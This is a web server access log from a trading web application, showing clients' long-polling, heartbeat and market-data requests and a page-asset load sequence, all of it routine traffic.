[09/Jan/2026:09:42:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923225678 HTTP/1.1" -
[09/Jan/2026:09:42:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923214486 HTTP/1.1" -
[09/Jan/2026:09:42:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923213723 HTTP/1.1" -
[09/Jan/2026:09:42:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923214160 HTTP/1.1" -
[09/Jan/2026:09:42:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:26 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923215808 HTTP/1.1" -
[09/Jan/2026:09:42:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923230713 HTTP/1.1" -
[09/Jan/2026:09:42:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923219623 HTTP/1.1" -
[09/Jan/2026:09:42:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923218759 HTTP/1.1" -
[09/Jan/2026:09:42:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923219204 HTTP/1.1" -
[09/Jan/2026:09:42:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923220838 HTTP/1.1" -
[09/Jan/2026:09:42:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923235776 HTTP/1.1" -
[09/Jan/2026:09:42:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923224757 HTTP/1.1" -
[09/Jan/2026:09:42:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923223795 HTTP/1.1" -
[09/Jan/2026:09:42:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923224219 HTTP/1.1" -
[09/Jan/2026:09:42:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1180
[09/Jan/2026:09:42:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:42:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:42:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1331
[09/Jan/2026:09:42:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923225886 HTTP/1.1" -
[09/Jan/2026:09:42:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923240794 HTTP/1.1" -
[09/Jan/2026:09:42:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923229943 HTTP/1.1" -
[09/Jan/2026:09:42:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923228814 HTTP/1.1" -
[09/Jan/2026:09:42:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923229238 HTTP/1.1" -
[09/Jan/2026:09:42:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923230925 HTTP/1.1" -
[09/Jan/2026:09:42:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923245858 HTTP/1.1" -
[09/Jan/2026:09:42:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923235056 HTTP/1.1" -
[09/Jan/2026:09:42:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923233844 HTTP/1.1" -
[09/Jan/2026:09:42:45 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923234300 HTTP/1.1" -
[09/Jan/2026:09:42:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923250882 HTTP/1.1" -
[09/Jan/2026:09:42:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923235959 HTTP/1.1" -
[09/Jan/2026:09:42:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923240197 HTTP/1.1" -
[09/Jan/2026:09:42:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923238884 HTTP/1.1" -
[09/Jan/2026:09:42:51 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923240298 HTTP/1.1" -
[09/Jan/2026:09:42:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923255910 HTTP/1.1" -
[09/Jan/2026:09:42:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923241566 HTTP/1.1" -
[09/Jan/2026:09:42:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923245251 HTTP/1.1" -
[09/Jan/2026:09:42:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923243925 HTTP/1.1" -
[09/Jan/2026:09:42:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923246295 HTTP/1.1" -
[09/Jan/2026:09:42:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923260980 HTTP/1.1" -
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
